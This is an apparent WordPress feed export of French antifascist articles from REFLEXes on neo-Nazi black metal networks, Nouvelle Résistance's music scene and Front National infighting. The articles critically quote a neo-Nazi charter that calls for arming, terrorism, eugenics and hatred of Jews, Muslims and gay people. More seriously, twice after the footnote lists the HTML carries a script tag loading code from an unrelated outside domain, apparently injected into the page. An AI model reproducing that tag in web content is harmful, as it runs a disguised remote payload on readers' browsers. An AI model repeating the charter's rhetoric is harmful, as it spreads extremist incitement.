<p><a href="http://reflexes.samizdat.net/wp-content/uploads/2004/12/Gestapo_1992_-d50ae.jpg"><img class="aligncenter size-full wp-image-953" src="http://reflexes.samizdat.net/wp-content/uploads/2004/12/Gestapo_1992_-d50ae.jpg" alt="Gestapo_1992_-d50ae" width="394" height="561" /></a></p>
<h3>Chacun doit s&rsquo;armer</h3>
<p>La charte à laquelle les groupes de Black Metal qui veulent travailler avec AMSG doivent adhérer comprend 13 articles. Elle stipule :<br />
«<em>Article 1 : Tout terrorisme se pratique de manière individuelle sans impliquer la totalité du mouvement BM ou en revendiquant son affiliation à ce mouvement, à cause de l&rsquo;infiltration probable qui s&rsquo;en suivrait de la part des RG ou des groupes de défense juifs. Nous tous approuverons ces gestes sans être le commanditaire.<br />
Article 2 : Chacun doit s&rsquo;armer, de manière individuelle en vue de combattre tout opposant. Tout les moyens devront être utilisés pour se procurer un armement légal et illégal.<br />
Article 3 : Chacun groupe et personne devra tisser des liens avec les milieux nationaux nationalistes classiques.<br />
Article 8 : Nos vrais ennemis sont les chrétiens et leur morale, les Juifs dominent le monde en vue de la mort de la race aryenne, les musulmans sur notre territoire européen (mais dans la perspective d&rsquo;un nouveau conflit israélo-arabe, il est profitable de soutenir l&rsquo;islamisme au Moyen Orient) enfin la gauche en général (socialistes et communistes) est notre ennemie évident. Sans oublier les handicaps mentaux d&rsquo;homosexuel à rejeter du sol européen.<br />
Article 9 : Tout mélange racial est interdit. Seul l&rsquo;eugénisme peut purifier notre race. Les non-blancs sont des parasites inférieurs</em>.»</p>
<p>La coupure avec la scène skin française et l&rsquo;alliance avec les adeptes de Black Metal est définitivement scellée dans <em>Wotan</em> avec un article intitulé « Notre musique n&rsquo;est pas celle que l&rsquo;on croit » où l&rsquo;on peut lire : «<em>La Oï en France n&rsquo;est pas, n&rsquo;a jamais été, et ne sera jamais une musique nationaliste. En revanche il y a d&rsquo;autres formes d&rsquo;expression musicale comme le heavy metal, le gothic, le death metal, ou le black metal, de talentueux musiciens partagent à 100% les convictions de la rédaction de Wotan&#8230; À ce titre on peut dire que le Black Metal est un courant musical NS, non lucratif (les groupes perdent de l&rsquo;argent en tournée), et qui plus est composés d&rsquo;Aryens de pure race</em>.»<br />
Mais il n&rsquo;y a pas que les CHS à s&rsquo;intéresser au death/black metal ou au rock sataniste. En effet, les flics ont découvert chez Antony Mignoni, l&rsquo;un des profanateurs du cimetière de Toulon, un tract constitué d&rsquo;un <em>Avis de Recherche</em>, sur lequel figure le visage du Christ et sur lequel on pouvait lire : «<em>On recherche pour crimes contre l&rsquo;humanité Jésus, il est accusé s&rsquo;être l&rsquo;initiateur de persécutions et de meurtres de millions de personnes. Il est le fondateur du christianisme, une religion de fanatiques qui promet la vie éternelle mais à comme finalité l&rsquo;esclavage. Attention les partisans de Jésus (dit le Christ) ont pris le contrôle de dizaines de nations et de millions d&rsquo;esprits. Ils sont armés et dangereux à la fois politiquement et idéologiquement</em>».</p>
<p>Or ce tract est issu du n°4 d&rsquo;une revue, <em>Napalm Rock</em>, qui se définit comme « Magazine Rock, NR, Païen et européen de contre culture ». Elle succède, en plus politique, à une autre revue créée en 1989 et intitulée <em>Métal Assaut</em>. A leur tête, Grégory Ombruck, un aixois d&rsquo;un trentaine d&rsquo;année, responsable de Nouvelle Résistance pour la région d&rsquo;Aix Marseille. En fait <em>Napalm Rock</em> et Gregory Ombruck ont pris la succession de l&rsquo;équipe de Forum Provence. En effet cette dernière s&rsquo;est dissoute en janvier 1995 et a quitté Nouvelle Résistance : ses principaux animateurs Thierry Mudry et Christiane Pigace, choisissant de rejoindre la scission du GRECE, Synergies Européennes. Nouvelle Résistance qui avait essayé de noyauter cette structure a finalement été virée de celle-ci.</p>
<h3>Concert à Orange</h3>
<p>C&rsquo;est au début de juin 1996 que Ombruck reforme un groupe de Nouvelle Résistance sur Aix-Marseille avant de créer une coordination avec le groupe de Toulon, dirigé par Gilles Pilard. En juillet de la même année, on retrouve Ombruck à l&rsquo;université d&rsquo;été du GRECE qui se déroule comme chaque année dans une propriété appartenant au groupe de recherche depuis 1972, la Domus Europa. Cette propriété se trouve non loin de Aix, dans un village du nom de Ventabren. Le mois suivant, Ombruck va participer au deuxième congrès de NR qui a lieu à Valenciennes. À la fin de celui-ci il fera partie d&rsquo;une délégation qui se rendra au grand rassemblement nationaliste de Dixmude.<br />
Outre son zine, Ombruck organise par l&rsquo;intermédiaire de son association Metal Assaut des concerts, l&rsquo;un d&rsquo;entre eux l&rsquo;a été en collaboration avec l&rsquo;office municipal de la culture et de la ville d&rsquo;Orange. Il est vrai que l&rsquo;on trouve au service de communication de ville un militant NR, André-Yves Beck. Bizarrement, alors que le nom de la revue a été abondamment citée dans la presse et à la télévision, Ombruck et ses petit camarades n&rsquo;ont pas été inquiétés par les services de police chargé de l&rsquo;affaire.</p>
<p>Nouvelle Résistance ne s&rsquo;intéresse pas uniquement au Rock païen ou satanique, il dispose même d&rsquo;un groupe maison, Fraction Hexagone, basé à Nice. Celui-ci se revendique skin nationaliste révolutionnaire adepte du Rock against Capitalism, à la différence du Rock against Communism habituel dans la mouvance skin. Néanmoins les influences restent communes : «<em>Légion 88, Bunker 84, Storkraft, Condemned 84, de plus nous écoutons beaucoup de trash, death metal hard core</em>». La différence entre NR et NS ? «<em>Elle est diffuse. Nous avons surtout voulu démontrer que nous avons le regard tourné vers l&rsquo;avenir, et non vers des formes passées qui n&rsquo;ont aucune chance de vaincre actuellement. Tout dépend de savoir si tu veux gagner ou seulement te faire plaisir. C&rsquo;est ce qu&rsquo;ont compris certains NS, qui militent dans différentes organisations NR. Cela ne sert à rien de se proclamer NS devant un public NS, ce qui me paraît important, c&rsquo;est de diffuser l&rsquo;idéal nationaliste chez des gens qui au départ, ne font pas partie de votre camp</em>.»<br />
En fait il s&rsquo;agit juste d&rsquo;un problème de forme, sur le fond Fraction Hexagone reste bien un groupe skin. C&rsquo;est ainsi qu&rsquo;il ont joué à Bordeaux pour l&rsquo;association Un jour Viendra et qu&rsquo;ils devaient jouer à Marseille pour Guttuso et ses petits copains. Mais, pas de chance, le concert a été annulé sous la pression de la police. Du coup, les skins ont du s&rsquo;expatrier à 150 km de là dans les environs de Cannes. En octobre 1995, c&rsquo;est en plein Printemps de Bourges que Fraction Hexagone a joué pour les skins du zine <em>Sound of Hammer</em> édité par Sébastien Legentil. Tout dernièrement, le 11 mai 1996 à Passy sur Eure, le groupe s&rsquo;est produit lors d&rsquo;un RAC. Mais là encore, cela s&rsquo;est plutôt mal passé puisqu&rsquo;ils n&rsquo;ont joué qu&rsquo;à 4 heures du mat devant une salle quasiment vide, avec un son pourri. Du coup au bout d&rsquo;une demi-heure, ils ont remballé leur matos avec la haine. Le leader de Fraction Hexagone est un étudiant niçois, Fabrice Robert. En compagnie d&rsquo;un autre militant de Nouvelle Résistance de Nice, ils avaient été arrêtés et condamnés en 1991 pour avoir diffusé devant certains lycées de Nice des tracts négationnistes. Il est aussi le responsable de la feuille d&rsquo;info <em>Jeune Résistance</em>. Enfin Fraction Hexagone était un des groupes qui s&rsquo;est produit au festival rock d&rsquo;Orange, organisé par Ombruck, ils y ont même gagné un prix, étonnant non ?</p>
<p>Outre le death metal et la Oï anticapitaliste, Nouvelle Résistance s&rsquo;intéresse aussi de très près à la musique industrielle dont elle rend compte régulièrement dans une chronique intitulée «Bruits européens» qui recense les dernières productions de ce courant musical. Notamment ceux des groupes politiquement proches, comme celle de Jean-Marc Vivenza, qui préside aux destinés de l&rsquo;Œuvre bruitiste et qui fut un cadre du Mouvement Nationaliste Révolutionnaire, de Troisième Voie et de Nouvelle Résistance et qui est aujourd&rsquo;hui proche de Synergies Européennes. Dans les publications de NR, on informe sur des groupes comme Laibach dont le fan club en France s&rsquo;intitule Nouvel Art Slovène, ou encore Sol Invictus, Non, Current 93 et surtout les préférés de NR qui sont Death in June dont le nom fait référence à la nuit où les SA furent liquidés par les SS d&rsquo;Himmler et Blood Axis dont le leader Michaël Mognihan se revendique lui-même comme fasciste.</p>
<p>En revanche aucune publicité pour le disque de Valérie Lemercier « Mange des frites » dont le producteur et le compositeur est pourtant Bertrand Burgalat. Cet ancien du Groupe Union Défense, du MNR puis de Troisième Voie s&rsquo;est d&rsquo;abord reconverti dans un premier temps dans le rock en produisant Jad Whio, avant de poursuivre avec Valérie Lemercier.</p>
<p>L&rsquo;extrême droite a évolué, abandonnant le terrain trop marqué de la scène skin, au profit d&rsquo;autres types de musiques comme le black métal, la musique industrielle voire la techno. C&rsquo;est ainsi qu&rsquo;on assiste à des recyclages étonnants comme celui de l&rsquo;ancien chanteur de Légion 88 Alain Perez devenu celui du groupe de hard core Tribal Zone. Les cheveux ont repoussés pour certains mais le message reste le même : haine des Juifs, des noirs, des homos et apologie du fascisme et du nazisme !</p>
<ol class="footnotes"><li id="footnote_0_228" class="footnote">Tiré de <em>Rage</em> n°9.</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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		<title>Tempête dans un verre d&#8217;orangeade</title>
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		<pubDate>Tue, 28 Sep 2004 10:04:19 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
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				<content:encoded><![CDATA[<p>Posté le 28 septembre 2004</p>
<p>L&rsquo;actualité estivale de l&rsquo;extrême droite a été marquée par un psychodrame comme seul le FN en a le secret. Lepénistes contre bompartistes, modernes contre anciens, vieille garde contre jeune garde&#8230; Le schéma semble relativement simple et il a été présenté comme tel dans la presse. La réalité est pourtant peut-être un peu plus compliquée dans la mesure où la crise actuelle, la nième du genre, est à la confluence de multiples problèmes : ambitions individuelles, stratégies politiques, influences extérieures au parti&#8230; Nous allons essayer d&rsquo;y voir plus clair, au delà de la simple anecdote.</p>
<p>Officiellement, la crise a éclaté au grand jour au printemps dernier lorsque Jean-Marie Le Pen a pris l&rsquo;initiative, pour les élections européennes, de substituer Lydia Schenardi à Marie-France Stirbois en position éligible. Cette situation est un cas de figure du fonctionnement du FN puisque cette substitution a sans doute été motivée par au moins trois éléments : la politique, les relations personnelles et&#8230; l&rsquo;argent. Lydia Schenardi n&rsquo;était en effet pas susceptible par elle-même de justifier ce choix dont Jean-Marie Le Pen savait bien qu&rsquo;il allait relancer les tensions au sein du FN. Mais elle était l&rsquo;épouse d&rsquo;un cadre du FN décédé en mars 2004 : Jean-Pierre Schenardi. Ce dernier, grand amateur de chasse à la galinette de toutes sortes en Afrique où il est d&rsquo;ailleurs décédé, était un fidèle du clan Le Pen et soutenait Générations Le Pen, l&rsquo;association de Marine Le Pen, depuis sa relance en 2002. Il était aussi un ancien dirigeant d&rsquo;entreprise de BTP ayant amassé une solide petite fortune et contribuait à ce titre aux finances du FN. Propulser sa veuve en position éligible présentait donc un triple avantage : humilier la vieille garde coupable de critiques intempestives contre la fille du chef et le chef lui-même, punir une vieille militante pour qui il est notoire que Jean-Marie Le Pen n&rsquo;a jamais eu de sympathie &#8211; et c&rsquo;est un euphémisme ! &#8211; et enfin rafler la mise puisqu&rsquo;il se murmure que Lydia Schenardi aurait acheté sa place aux Européennes au moins 30000 euros, somme que Marie-France Stirbois était évidemment bien incapable d&rsquo;aligner. Ce faisant, cette affaire est venue parasiter la crise qui couve au FN depuis deux ou trois ans. Elle a en effet obligé Marie-France Stirbois a critiqué clairement Jean-Marie Le Pen et a invoqué le respect des statuts internes du parti, ce qu&rsquo;elle n&rsquo;avait jamais fait auparavant et pour cause : tout membre de la vieille garde sait bien que le bureau politique du FN n&rsquo;a jamais été qu&rsquo;une chambre d&rsquo;enregistrement des décisions prises par Jean-Marie Le Pen à Montretout. L&rsquo;affaire Stirbois est donc tombée à point pour dramatiser une situation latente depuis plusieurs mois.</p>
<p>La politique interne de Jean-Marie Le Pen depuis que le FN a émergé sur la scène politique a toujours été de maintenir un certain équilibre entre ses courants afin qu&rsquo;ils se neutralisent. Cet équilibre était et est plus que jamais la condition sine qua non du maintien de son autorité. Mais cette gestion a eu pour corollaire des crises successives et des psychodrames dont le plus fameux demeure la scission de l&rsquo;équipe Mégret. Le départ de ce courant et de ses nombreux élus a permis à la mouvance catholique traditionnaliste et solidariste de prendre à partir de 1999-2000 au sein du FN un ascendant bien supérieur à son poids réel en terme de militants. S&rsquo;incarnant dans des figures majeures comme Jacques Bompard ou Bernard Anthony, ce courant soutient depuis toujours celui qui, sans s&rsquo;afficher clairement, est le plus susceptible de défendre ses idées : Bruno Gollnisch. Cette situation a contraint Jean-Marie Le Pen à partir de 2002 à monter en épingle un courant concurrent pour rétablir l&rsquo;équilibre. Le seul opérationnel a été celui proposé par sa fille et ses amis, ce qui n&rsquo;a évidemment fait que renforcer l&rsquo;impression de gestion népotique du FN, ce qu&rsquo;Unité Radicale avait qualifié en son temps de « dérive monégasque ». Tous les moyens ont donc été mobilisés pour assurer la promotion de celle qui se trouve être la fille du chef : presse du parti (<em>Français d&rsquo;Abord</em>), presse amie (<em>National Hebdo</em>), organigramme interne du parti (congrès du parti en 2003), élections (attribution des têtes de liste aux Régionales et Européennes 2004). Cette stratégie a placé la vieille garde en position défensive et l&rsquo;a obligé à envisager un choix simple : aller à la rupture et donc à la mort politique comme l&rsquo;a prouvé l&rsquo;expérience Mégret ou tenter des stratégies alternatives tout en gardant un pied dans l&rsquo;appareil en comptant sur l&rsquo;usure du chef. C&rsquo;est bien évidemment cette deuxième solution qui a été choisie.</p>
<p>Elle a consisté pour Bernard Antony à partir de 2003 à se concentrer sur une revitalisation des structures dont il est le chef depuis une vingtaine d&rsquo;années, en particulier Chrétienté-Solidarité, et pour Jacques Bompard dès 2002 à lancer une structure périphérique au FN, L&rsquo;Esprit Public. Si la première réunion en juin 2003 à Orange avait provoqué quelques grincements de dents chez certains participants, l&rsquo;évolution interne du FN a contribué au succès de la deuxième rencontre en mai 2004 puis de l&rsquo;université d&rsquo;été en août dernier. La stratégie de Jacques Bompard a en effet une triple dimension : rassemblement, travail en réseau, implantation locale. Les Journées de l&rsquo;Esprit Public ont en effet vu se côtoyer des militants qui s&rsquo;étaient vigoureusement opposés après la scission mégrétiste et des courants a priori peu susceptibles de travailler ensemble : solidaristes, identitaires, régionalistes, traditionalistes. Cette mosaïque a pu fournir un argument de discrédit auprès des cadres au clan Le Pen mais l&rsquo;éloignement progressif du traumatisme de 1999 et la quasi-disparition du MNR ne peuvent que rendre peu à peu caduque l&rsquo;accusation portée contre Jacques Bompard de travailler avec les « traîtres ». Cette main tendue aux différents courants de la mouvance nationaliste n&rsquo;est possible qu&rsquo;avec la perspective du travail en réseau qui exclut toute ambition organisationnelle ou risque de phagocytage d&rsquo;un courant par un autre. Le risque est évidemment particulièrement vivace avec les Identitaires dont Jacques Bompard sait bien qu&rsquo;ils sont devenus experts, depuis l&rsquo;expérience mégrétiste, dans la stratégie du coucou. L&rsquo;importance de leur présence dans l&rsquo;Esprit Public ne peut s&rsquo;expliquer que par le rôle joué par l&rsquo;un des leurs, André-Yves Beck, auprès de Jacques Bompard à la mairie d&rsquo;Orange. Enfin, il est évident que la volonté d&rsquo;enracinement local peut constituer une alternative à une éventuelle exclusion du FN et parachever ainsi les deux autres aspects développés par l&rsquo;Esprit Public. Cette structure constituerait alors une éventuelle « caisse à outils » de formation et financement pour des élections locales à tous ceux qui s&rsquo;y rattacheraient, en particulier dans le Sud et donc en particulier les Identitaires, seule force politique un tant soit peu organisée en dehors du FN dans cette région.</p>
<p>La crise semble momentanément étouffée puisque chaque partie en présence a baissé d&rsquo;un ton ses invectives et menaces. Mais elle ne demande qu&rsquo;à repartir de plus belle et Jean-Marie Le Pen aura sans doute fort à faire dans ses exercices de voltige politique interne. On se réjouit d&rsquo;avance du spectacle&#8230;</p>
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		<title>Le maire d&#8217;Orange défie le chef du FN</title>
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		<pubDate>Mon, 10 Feb 2003 06:20:58 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
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		<description><![CDATA[Né en 1943, Jacques Bompard a fait ses premières armes d&#8217;abord à la FEN (Fédération des Étudiants Nationalistes) menée par Pierre Sidos, puis à Occident dans les années 1960, avant d&#8217;être parmi les premiers à rejoindre le Front national lors de sa création en 1972. Rapidement membre du bureau national, Bompard est toujours resté discret [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Né en 1943, Jacques Bompard a fait ses premières armes d&rsquo;abord à la FEN (Fédération des Étudiants Nationalistes) menée par Pierre Sidos, puis à Occident dans les années 1960, avant d&rsquo;être parmi les premiers à rejoindre le Front national lors de sa création en 1972. Rapidement membre du bureau national, Bompard est toujours resté discret mais dans l&rsquo;entourage proche de Le Pen. Proche des milieux catholiques intégristes, il compte parmi ses amis Bernard Antony, président de Chrétienté Solidarité et chef de file du courant traditionaliste au FN, et Bruno Gollnisch, l&rsquo;actuel numéro deux du parti.</p>
<p>Ce chirurgien-dentiste de profession fut des premiers combats électoraux dans les années 1970. Très tôt, il s&rsquo;implante localement, en créant en 1975 la fédération FN du Vaucluse. Conseiller régional de la région PACA depuis 1986, il s&rsquo;est surtout fait connaître en reportant les élections municipales à Orange en 1995, devenant l&rsquo;un des quatre maires FN de villes de plus de 20 000 habitants. Élu à l&rsquo;époque au second tour avec un peu moins de 36% des voix, c&rsquo;est avec près de 60% qu&rsquo;il est réélu dès le premier tour en mars 2001… Mais en laissant son étiquette FN de côté, et en menant une campagne « apolitique ». Menant les conseils municipaux avec une certaine brutalité, ce qui causa dans les premières années de son mandat quelques départs forcés au sein de sa propre équipe, Bompard gère la ville en concentrant ses efforts sur la rénovation du centre-ville, laissant à l&rsquo;État le soin de s&rsquo;occuper des quartiers défavorisés et des équipements lourds.</p>
<p>Élu député FN en 1986, Bompard était le seul candidat FN lors des élections législatives de 2002 à avoir une chance d&rsquo;être élu : et il a fallu que toute la droite se mobilise derrière Thierry Mariani, le candidat de l&rsquo;UMP, pour que ce dernier l&rsquo;emporte finalement au deuxième tour, avec 35,23% des voix contre 34,06% des voix (à noter que les deux hommes s&rsquo;étaient déjà retrouver face à face en 1997 : perdant, Bompard avait tenté une demande d&rsquo;annulation de l&rsquo;élection auprès du conseil constitutionnel pour divers motifs, requête qui fut rejetée). Mais le 24 novembre dernier, nouvelle victoire de Bompard : il remporte l&rsquo;élection cantonale d&rsquo;Orange-ouest avec 54,36 % des suffrages, une fois de plus sans étiquette FN…</p>
<p>Alors que ce parcours pouvait laisser penser que Bompard se contenterait de mener sa petite vie tranquille de notable de province, en faisant oublier son appartenance au parti de Le Pen, le maire d&rsquo;Orange vient de créer la surprise en lançant un club de réflexion nationaliste, « L&rsquo;esprit public »<sup><a href="https://reflexes.samizdat.net/le-maire-dorange-defie-le-chef-du-fn/#footnote_0_132" id="identifier_0_132" class="footnote-link footnote-identifier-link" title="R&eacute;v&eacute;l&eacute; par Lib&eacute;ration dans son &eacute;dition du 4 f&eacute;vrier 2003">1</a></sup>, faisant référence non à Le Pen mais à Jean-Pierre Stirbois, qui fut le n°2 du FN jusqu&rsquo;à sa mort accidentelle en 1998. Dans une lettre adressée à tous les conseillers généraux et régionaux FN, il déclare : <em>«Nous sommes encore loin du pouvoir. C&rsquo;est la conséquence d&rsquo;un certain nombre d&rsquo;erreurs de méthode et de stratégie de notre camp ainsi que le résultat de notre incapacité à analyser nos revers ».</em> Un discours déjà entendu au sein du Front, tenu par un certain Bruno Mégret… Mais la situation de Bompard est bien différente de celle du patron du MNR : figure « historique » du FN au passé ancré à l&rsquo;extrême droite, qui a connu la traversée du désert du FN dans les années 1970, fort d&rsquo;une implantation locale réussie et du soutien du principal courant organisé au sein du FN, à savoir les catholiques traditionalistes, Jacques Bompard, qui a toujours soutenu et Le Pen et Gollnisch, ne peut pas être soupçonné de vouloir faire un « puputch », mais simplement de prendre la place qu&rsquo;il estime mériter, au mépris de son « amitié » avec le prétendant à la succession, Bruno Gollnisch. Après avoir fulminé contre la création de ce club, en déclarant notamment au journal La Provence que Bompard avait autant de chance « de devenir Président du FN que [lui-même] d&rsquo;être archevêque », Jean-Marie Le Pen a réuni son bureau exécutif pour s&rsquo;expliquer avec l&rsquo;ambitieux, qui sans se démonter avait répliqué au patron du FN que ce dernier avait « davantages de chances de devenir archevêque que d&rsquo;être un jour élu au scrutin majoritaire à deux tours. » On pouvait compter sur l&rsquo;onctueux Carl Lang pour arrondir les angles et minimiser l&rsquo;incident, qui fut qualifié de « malentendu ». Mais l&rsquo;absence de réactions de Le Pen face à ce genre d&rsquo;insolences doit moins être interprétée comme un affaiblissement de la pugnacité du chef que comme la prise en compte par Le Pen des atouts d&rsquo;un Bompard qui pourrait bien avoir les moyens de ses ambitions.</p>
<ol class="footnotes"><li id="footnote_0_132" class="footnote">Révélé par Libération dans son édition du 4 février 2003</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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